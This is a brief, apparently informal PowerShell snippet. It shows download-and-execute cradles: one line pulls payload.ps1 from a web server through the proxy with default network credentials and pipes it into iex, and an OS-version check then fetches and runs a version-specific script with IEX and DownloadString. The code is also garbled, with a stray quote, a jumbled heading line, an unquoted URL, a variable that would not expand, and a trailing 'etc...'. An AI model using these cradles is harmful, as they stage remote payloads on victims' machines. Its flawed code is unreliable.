(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
Get Wmi Object Win32 Operating System Default Network Credentials
$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
if ($host -eq 'Microsoft Windows 7'){
Write-Host "[+] Downloading windows 7 script"
$URL = http://example.com
IEX (New-Object Net.WebClient).DownloadString('$URL')}
elseif ($host -eq 'Microsoft Windows 8'){
Write-Host "[+] Downloading windows 8 script"
etc...